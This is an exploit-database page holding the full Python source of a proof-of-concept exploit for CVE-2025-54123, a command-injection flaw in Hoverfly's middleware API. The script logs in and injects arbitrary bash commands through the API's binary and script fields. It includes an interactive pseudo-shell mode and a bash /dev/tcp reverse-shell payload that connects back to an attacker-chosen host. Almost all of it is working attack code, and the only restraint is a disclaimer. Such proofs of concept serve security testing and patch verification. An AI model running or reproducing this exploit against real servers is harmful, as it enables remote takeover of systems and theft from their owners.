Exploit database

GH-ec02f6d646b9cc9c74db8ecbc201daa5

0x00phantom-hat/hoverfly-1.11.3-rce-cve-2025-54123-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-54123

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 26,945 bytes
#!/usr/bin/env python3
"""
┌──────────────────────────────────────────────────────────────────────────┐
│  CVE-2025-54123 — Hoverfly ≤ 1.11.3                                      │
│  Authenticated Remote Code Execution via Middleware API                  │
│                                                                          │
│  Author  : PhantomHat                                                    │
│  CVSS    : 9.8 (Critical)                                                │
│  CWE     : CWE-78 (OS Command Injection) / CWE-20 (Input Validation)     │
│  Vector  : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H                  │
│  Vendor  : SpectoLabs (github.com/SpectoLabs/hoverfly)                   │
│  Fixed   : v1.12.0 (commit 17e60a9)                                      │
│                                                                          │
│  DISCLAIMER: This tool is provided for authorized security testing       │
│  and educational research purposes only. Unauthorized access to          │
│  computer systems is illegal. The author assumes no liability for        │
│  misuse of this software.                                                │
└──────────────────────────────────────────────────────────────────────────┘
"""

from __future__ import annotations

import argparse
import os
import re
import sys
import time
import signal
import urllib3
from datetime import datetime
from typing import Optional

import requests
from requests import Session
from rich import box
from rich.align import Align
from rich.console import Console
from rich.panel import Panel
from rich.table import Table
from rich.text import Text
from rich.progress import Progress, SpinnerColumn, TextColumn

# ── Silence insecure-request warnings when --proxy is used ───────────────────
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ─── Constants ───────────────────────────────────────────────────────────────

TOOL_NAME      = "CVE-2025-54123 Exploit"
TOOL_VERSION   = "1.0.0"
AUTHOR         = "PhantomHat"
CVE_ID         = "CVE-2025-54123"
CVSS_SCORE     = "9.8 (Critical)"
CVSS_VECTOR    = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
CWE_IDS        = "CWE-78 / CWE-20"
PRODUCT        = "Hoverfly"
AFFECTED       = "≤ 1.11.3"
FIXED_IN       = "1.12.0"
VULN_ENDPOINT  = "/api/v2/hoverfly/middleware"
AUTH_ENDPOINT  = "/api/token-auth"

console = Console(force_terminal=True)

# ─── Verbose flag ────────────────────────────────────────────────────────────

VERBOSE = False


# ═════════════════════════════════════════════════════════════════════════════
#  Utilities
# ═════════════════════════════════════════════════════════════════════════════

def timestamp() -> str:
    return datetime.now().strftime("%Y-%m-%d %H:%M:%S")


def log_info(msg: str):
    if VERBOSE:
        console.print(f"  [dim]{timestamp()}[/dim]  [bold cyan]INFO[/bold cyan]       {msg}")


def log_success(msg: str):
    console.print(f"  [dim]{timestamp()}[/dim]  [bold green]SUCCESS[/bold green]    {msg}")


def log_warning(msg: str):
    console.print(f"  [dim]{timestamp()}[/dim]  [bold yellow]WARNING[/bold yellow]    {msg}")


def log_error(msg: str):
    console.print(f"  [dim]{timestamp()}[/dim]  [bold red]ERROR[/bold red]      {msg}")


def log_phase(label: str):
    console.print()
    console.rule(f"[bold white]  {label}  [/bold white]", style="dim white")
    console.print()


def _normalize_url(url: str) -> str:
    url = url.rstrip("/")
    if not url.startswith(("http://", "https://")):
        url = f"http://{url}"
    return url


def _build_proxies(proxy: bool) -> Optional[dict]:
    if proxy:
        return {
            "http":  "http://127.0.0.1:8080",
            "https": "http://127.0.0.1:8080",
        }
    return None


def _clean_output(raw: str) -> str:
    """Extract and clean the STDOUT portion from Hoverfly's error response."""
    if "STDOUT:" not in raw:
        return raw.strip()
    cleaned = raw.split("STDOUT:", 1)[1]
    # Strip trailing closing characters from the JSON envelope
    cleaned = re.sub(r'["\s}]+$', '', cleaned)
    cleaned = (
        cleaned
        .replace("\\n", "\n")
        .replace("\\t", "\t")
        .replace("\\u003e", ">")
        .replace("\\u003c", "<")
        .replace("\\u0026", "&")
        .replace("\\u0024", "$")
    )
    return cleaned.strip()


# ═════════════════════════════════════════════════════════════════════════════
#  Banner
# ═════════════════════════════════════════════════════════════════════════════

def banner():
    os.system("clear" if os.name != "nt" else "cls")

    info_table = Table(
        show_header=False,
        box=box.SIMPLE_HEAVY,
        border_style="dim white",
        padding=(0, 2),
        expand=False,
    )
    info_table.add_column("Key", style="bold white", no_wrap=True)
    info_table.add_column("Value", style="white")

    info_table.add_row("CVE",       f"[bold red]{CVE_ID}[/bold red]")
    info_table.add_row("CVSS",      f"[bold yellow]{CVSS_SCORE}[/bold yellow]")
    info_table.add_row("Vector",    f"[dim]{CVSS_VECTOR}[/dim]")
    info_table.add_row("CWE",       CWE_IDS)
    info_table.add_row("Product",   f"{PRODUCT} (API Simulation Tool)")
    info_table.add_row("Affected",  AFFECTED)
    info_table.add_row("Fixed In",  FIXED_IN)
    info_table.add_row("Type",      "Authenticated RCE via Middleware Command Injection")
    info_table.add_row("Author",    AUTHOR)
    info_table.add_row("Version",   TOOL_VERSION)

    console.print(Panel(
        Align.center(info_table),
        border_style="red",
        box=box.HEAVY,
        title=f"[bold white] {TOOL_NAME} [/bold white]",
        subtitle="[dim]Authorized Testing Only[/dim]",
        padding=(1, 3),
    ))
    console.print()


# ═════════════════════════════════════════════════════════════════════════════
#  Core Exploit Engine
# ═════════════════════════════════════════════════════════════════════════════

class HoverflyExploit:
    """Weaponised interface to CVE-2025-54123."""

    def __init__(
        self,
        url: str,
        username: str,
        password: str,
        proxy: bool = False,
        timeout: int = 15,
    ):
        self.url       = _normalize_url(url)
        self.endpoint  = f"{self.url}{VULN_ENDPOINT}"
        self.auth_url  = f"{self.url}{AUTH_ENDPOINT}"
        self.username  = username
        self.password  = password
        self.proxies   = _build_proxies(proxy)
        self.timeout   = timeout
        self._session: Optional[Session] = None
        self._token:   Optional[str]     = None

    # ── Phase 1: Authentication ──────────────────────────────────────────

    def authenticate(self) -> bool:
        """Acquire a JWT Bearer token from the Hoverfly auth endpoint."""
        log_phase("PHASE 1 — AUTHENTICATION")

        self._session = Session()
        self._session.headers.update({
            "User-Agent":   "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0",
            "Accept":       "application/json, text/plain, */*",
            "Content-Type": "application/json",
            "Connection":   "keep-alive",
        })

        payload = {
            "username": self.username,
            "password": self.password,
        }

        log_info(f"Auth endpoint: [underline]{self.auth_url}[/underline]")
        log_info(f"Credentials:   [bold]{self.username}[/bold] / [dim]{'*' * len(self.password)}[/dim]")

        with Progress(
            SpinnerColumn(style="bold red"),
            TextColumn("[bold white]Authenticating to Hoverfly API...[/bold white]"),
            console=console,
            transient=True,
        ) as progress:
            progress.add_task("", total=None)
            try:
                res = self._session.post(
                    self.auth_url,
                    json=payload,
                    proxies=self.proxies,
                    timeout=self.timeout,
                    verify=False,
                )
            except requests.RequestException as exc:
                log_error(f"Connection failed: {exc}")
                return False

        if res.status_code != 200:
            log_error(f"Authentication failed — HTTP {res.status_code}")
            if VERBOSE:
                log_info(f"Response body: {res.text[:300]}")
            return False

        try:
            self._token = res.json()["token"]
        except (KeyError, ValueError):
            log_error("Response did not contain a valid token")
            return False

        self._session.headers["Authorization"] = f"Bearer {self._token}"

        log_success("Bearer token acquired successfully")
        if VERBOSE:
            log_info(f"Token: [dim]{self._token[:20]}...{self._token[-10:]}[/dim]")

        return True

    # ── Phase 2: Connectivity & Reachability Check ───────────────────────

    def check(self) -> bool:
        """Verify the target is reachable and the middleware endpoint exists."""
        log_phase("PHASE 2 — RECONNAISSANCE")

        log_info(f"Target URL: [underline]{self.url}[/underline]")
        log_info(f"Middleware endpoint: [underline]{self.endpoint}[/underline]")

        with Progress(
            SpinnerColumn(style="bold red"),
            TextColumn("[bold white]Probing target reachability...[/bold white]"),
            console=console,
            transient=True,
        ) as progress:
            progress.add_task("", total=None)
            try:
                res = requests.get(
                    f"{self.url}/api/v2/hoverfly",
                    timeout=self.timeout,
                    proxies=self.proxies,
                    verify=False,
                )
            except requests.RequestException as exc:
                log_error(f"Target unreachable: {exc}")
                return False

        if res.status_code == 401:
            log_success("Hoverfly API detected (HTTP 401 — auth required)")
        elif res.status_code == 200:
            log_success("Hoverfly API detected (HTTP 200)")
        else:
            log_warning(f"Unexpected HTTP {res.status_code} — target may not be Hoverfly")

        if VERBOSE:
            result_table = Table(
                title="[bold]Target Assessment[/bold]",
                box=box.ROUNDED,
                border_style="dim white",
                show_lines=True,
                padding=(0, 2),
            )
            result_table.add_column("Property", style="bold white", no_wrap=True)
            result_table.add_column("Value", style="white")

            result_table.add_row("Target",    self.url)
            result_table.add_row("Endpoint",  self.endpoint)
            result_table.add_row("HTTP Code", str(res.status_code))
            result_table.add_row("CVE",       CVE_ID)
            result_table.add_row("Status",    "[bold green]LIKELY VULNERABLE[/bold green]"
                                 if res.status_code in (200, 401) else
                                 "[bold yellow]UNCERTAIN[/bold yellow]")

            console.print()
            console.print(result_table)
            console.print()

        return True

    # ── Phase 3: Command Execution ───────────────────────────────────────

    def execute(self, command: str) -> Optional[str]:
        """
        Exploit CVE-2025-54123 by injecting a command through the
        middleware API's `binary` + `script` fields.

        The Hoverfly middleware API passes the `binary` and `script`
        values directly to `exec.Command()` without sanitisation.
        Setting binary=bash and script=<payload> achieves arbitrary
        command execution as the Hoverfly process user.
        """
        log_phase("PHASE 3 — EXPLOITATION")

        if self._session is None:
            log_error("No active session — authenticate first")
            return None

        log_info(f"Injecting command via middleware endpoint")
        log_info(f"Command: [bold white]{command}[/bold white]")
        log_info(f"Endpoint: [underline]{self.endpoint}[/underline]")

        exploit_payload = {
            "binary": "bash",
            "script": command,
        }

        with Progress(
            SpinnerColumn(style="bold red"),
            TextColumn("[bold white]Delivering exploit payload...[/bold white]"),
            console=console,
            transient=True,
        ) as progress:
            progress.add_task("", total=None)
            try:
                res = self._session.put(
                    self.endpoint,
                    json=exploit_payload,
                    proxies=self.proxies,
                    timeout=self.timeout,
                    verify=False,
                )
            except requests.RequestException as exc:
                log_error(f"Exploit request failed: {exc}")
                return None

        output = _clean_output(res.text)
        log_success("Exploit payload delivered and executed")

        return output

    # ── Interactive Shell ────────────────────────────────────────────────

    def interactive_shell(self):
        """Drop into a pseudo-interactive shell via repeated exploitation."""
        log_phase("INTERACTIVE SHELL")

        log_success("Pseudo-shell established — type commands below")
        log_info("Type [bold]exit[/bold] or [bold]quit[/bold] to return, [bold]Ctrl+C[/bold] to abort")
        console.print()

        # Grab hostname + user for prompt
        whoami = self.execute("whoami 2>/dev/null || echo unknown")
        hostname = self.execute("hostname 2>/dev/null || echo target")
        if whoami:
            whoami = whoami.strip().split("\n")[0]
        if hostname:
            hostname = hostname.strip().split("\n")[0]

        prompt = f"[bold red]{whoami}@{hostname}[/bold red]:[bold blue]$[/bold blue] "

        while True:
            try:
                cmd = console.input(prompt)
            except (EOFError, KeyboardInterrupt):
                console.print()
                log_info("Shell terminated")
                break

            cmd = cmd.strip()
            if not cmd:
                continue
            if cmd.lower() in ("exit", "quit"):
                log_info("Shell terminated")
                break

            result = self.execute(cmd)
            if result:
                console.print(result)

    # ── Reverse Shell Generator ──────────────────────────────────────────

    @staticmethod
    def generate_reverse_shell(lhost: str, lport: int) -> str:
        """Generate a bash reverse shell one-liner."""
        return f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"


# ═════════════════════════════════════════════════════════════════════════════
#  Output Display
# ═════════════════════════════════════════════════════════════════════════════

def display_output(output: str, command: str):
    """Render command output in a styled panel."""
    console.print()
    console.print(Panel(
        Text(output, style="bold white"),
        title="[bold green]Command Output[/bold green]",
        subtitle=f"[dim]$ {command}[/dim]",
        border_style="green",
        box=box.HEAVY,
        padding=(1, 3),
    ))
    console.print()


# ═════════════════════════════════════════════════════════════════════════════
#  Help Display
# ═════════════════════════════════════════════════════════════════════════════

def show_help():
    banner()
    log_phase("USAGE REFERENCE")

    usage_table = Table(
        box=box.ROUNDED,
        border_style="dim white",
        show_lines=True,
        title="[bold]Command Reference[/bold]",
        padding=(0, 2),
    )
    usage_table.add_column("Flag", style="bold cyan", no_wrap=True)
    usage_table.add_column("Description", style="white")
    usage_table.add_column("Example", style="dim")

    usage_table.add_row("-u, --url",      "Target Hoverfly URL",                "http://target:8888")
    usage_table.add_row("-U, --username",  "Hoverfly admin username",            "admin")
    usage_table.add_row("-P, --password",  "Hoverfly admin password",            "admin")
    usage_table.add_row("-c, --command",   "OS command to execute",              "id")
    usage_table.add_row("-C, --check",     "Check only (no exploitation)",       "—")
    usage_table.add_row("-i, --interactive", "Drop into interactive shell",      "—")
    usage_table.add_row("--revshell",      "Generate and send reverse shell",    "10.0.0.1:4444")
    usage_table.add_row("--proxy",         "Route through 127.0.0.1:8080",      "—")
    usage_table.add_row("--timeout",       "Request timeout in seconds",        "15")
    usage_table.add_row("-v, --verbose",   "Enable verbose output",             "—")

    console.print(usage_table)
    console.print()

    console.print(Panel(
        "[bold white]Examples:[/bold white]\n\n"
        "  [dim]# Check if a target is reachable and exploitable[/dim]\n"
        "  [bold]python3 exploit.py -u http://target:8888 -U admin -P admin -C[/bold]\n\n"
        "  [dim]# Execute a single command[/dim]\n"
        "  [bold]python3 exploit.py -u http://target:8888 -U admin -P admin -c 'id'[/bold]\n\n"
        "  [dim]# Interactive pseudo-shell[/dim]\n"
        "  [bold]python3 exploit.py -u http://target:8888 -U admin -P admin -i[/bold]\n\n"
        "  [dim]# Send a reverse shell back to your listener[/dim]\n"
        "  [bold]python3 exploit.py -u http://target:8888 -U admin -P admin --revshell 10.0.0.1:4444[/bold]\n\n"
        "  [dim]# Verbose mode with proxy for Burp inspection[/dim]\n"
        "  [bold]python3 exploit.py -u http://target:8888 -U admin -P admin -c whoami --proxy -v[/bold]",
        border_style="dim white",
        box=box.ROUNDED,
        padding=(1, 2),
    ))

    console.print()
    console.print(
        Panel.fit(
            "[bold red]LEGAL NOTICE[/bold red]\n\n"
            "[white]This tool is intended for authorized penetration testing and\n"
            "security research only. Unauthorized use of this tool against\n"
            "systems you do not own or have explicit permission to test is\n"
            "illegal and unethical. The author assumes no liability for misuse.[/white]",
            border_style="red",
            box=box.DOUBLE_EDGE,
        )
    )


# ═════════════════════════════════════════════════════════════════════════════
#  Main
# ═════════════════════════════════════════════════════════════════════════════

def main():
    global VERBOSE

    # Graceful Ctrl+C handling
    signal.signal(signal.SIGINT, lambda *_: (console.print("\n  [bold red]Interrupted[/bold red]"), sys.exit(130)))

    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} — Hoverfly {AFFECTED} Middleware API Remote Code Execution",
        epilog=f"Author: {AUTHOR} | For authorized testing only.",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-u", "--url",         required=True,  help="Target Hoverfly URL (e.g. http://target:8888)")
    parser.add_argument("-U", "--username",    required=True,  help="Hoverfly admin username")
    parser.add_argument("-P", "--password",    required=True,  help="Hoverfly admin password")
    parser.add_argument("-c", "--command",                     help="OS command to execute on the target")
    parser.add_argument("-C", "--check",       action="store_true", help="Check target reachability without exploitation")
    parser.add_argument("-i", "--interactive", action="store_true", help="Drop into an interactive pseudo-shell")
    parser.add_argument("--revshell",                          help="Send reverse shell to LHOST:LPORT (e.g. 10.0.0.1:4444)")
    parser.add_argument("--proxy",            action="store_true", help="Route traffic through 127.0.0.1:8080 (Burp/ZAP)")
    parser.add_argument("--timeout",          type=int, default=15, help="Request timeout in seconds (default: 15)")
    parser.add_argument("-v", "--verbose",     action="store_true", help="Enable verbose output")

    args = parser.parse_args()
    VERBOSE = args.verbose

    banner()
    start_time = time.time()

    # ── Initialise exploit engine ──
    exploit = HoverflyExploit(
        url=args.url,
        username=args.username,
        password=args.password,
        proxy=args.proxy,
        timeout=args.timeout,
    )

    # ── Check-only mode ──
    if args.check and not args.command and not args.interactive and not args.revshell:
        reachable = exploit.check()
        if reachable:
            auth_ok = exploit.authenticate()
            if auth_ok:
                log_success("Target is [bold]reachable and exploitable[/bold]")
            else:
                log_warning("Target is reachable but authentication failed")
        elapsed = time.time() - start_time
        if VERBOSE:
            console.print()
            console.rule(f"[dim]Completed in {elapsed:.2f}s[/dim]", style="dim")
            console.print()
        sys.exit(0 if reachable else 1)

    # ── Need at least one action ──
    if not args.command and not args.interactive and not args.revshell:
        log_error("Specify one of: [bold]-c <command>[/bold], [bold]-i[/bold] (interactive), or [bold]--revshell <host:port>[/bold]")
        log_info("Use [bold]-C[/bold] for check-only mode")
        sys.exit(1)

    # ── Optional pre-flight check ──
    if args.check:
        reachable = exploit.check()
        if not reachable:
            log_warning("Target unreachable — aborting")
            sys.exit(1)

    # ── Authenticate ──
    if not exploit.authenticate():
        log_error("Cannot proceed without authentication — exiting")
        sys.exit(1)

    # ── Reverse shell mode ──
    if args.revshell:
        try:
            lhost, lport = args.revshell.rsplit(":", 1)
            lport = int(lport)
        except (ValueError, IndexError):
            log_error("Invalid --revshell format. Use LHOST:LPORT (e.g. 10.0.0.1:4444)")
            sys.exit(1)

        revshell_cmd = HoverflyExploit.generate_reverse_shell(lhost, lport)
        log_phase("REVERSE SHELL DELIVERY")
        log_info(f"Listener: [bold]{lhost}:{lport}[/bold]")
        log_info(f"Payload:  [dim]{revshell_cmd}[/dim]")
        log_warning("Ensure your listener is running: [bold]nc -lvnp {0}[/bold]".format(lport))

        output = exploit.execute(revshell_cmd)
        if output is not None:
            log_success("Reverse shell payload dispatched")
        else:
            log_error("Reverse shell delivery failed")

    # ── Interactive mode ──
    elif args.interactive:
        output = exploit.execute("id")
        if output:
            display_output(output, "id")
        exploit.interactive_shell()

    # ── Single command mode ──
    elif args.command:
        output = exploit.execute(args.command)
        if output is not None:
            display_output(output, args.command)
            log_success("Command executed successfully")
        else:
            log_error("Command execution failed")

    # ── Summary ──
    elapsed = time.time() - start_time

    if VERBOSE:
        console.print()
        console.rule("[bold white]  EXPLOIT SUMMARY  [/bold white]", style="dim white")
        console.print()

        summary = Table(
            box=box.ROUNDED,
            border_style="dim white",
            show_header=False,
            padding=(0, 2),
        )
        summary.add_column("Key", style="bold white")
        summary.add_column("Value", style="white")
        summary.add_row("Target",   exploit.url)
        summary.add_row("CVE",      CVE_ID)
        summary.add_row("User",     args.username)
        summary.add_row("Mode",     "revshell" if args.revshell else "interactive" if args.interactive else "command")
        summary.add_row("Duration", f"{elapsed:.2f}s")

        console.print(summary)
        console.print()
        console.rule(style="dim")
        console.print()


if __name__ == "__main__":
    main()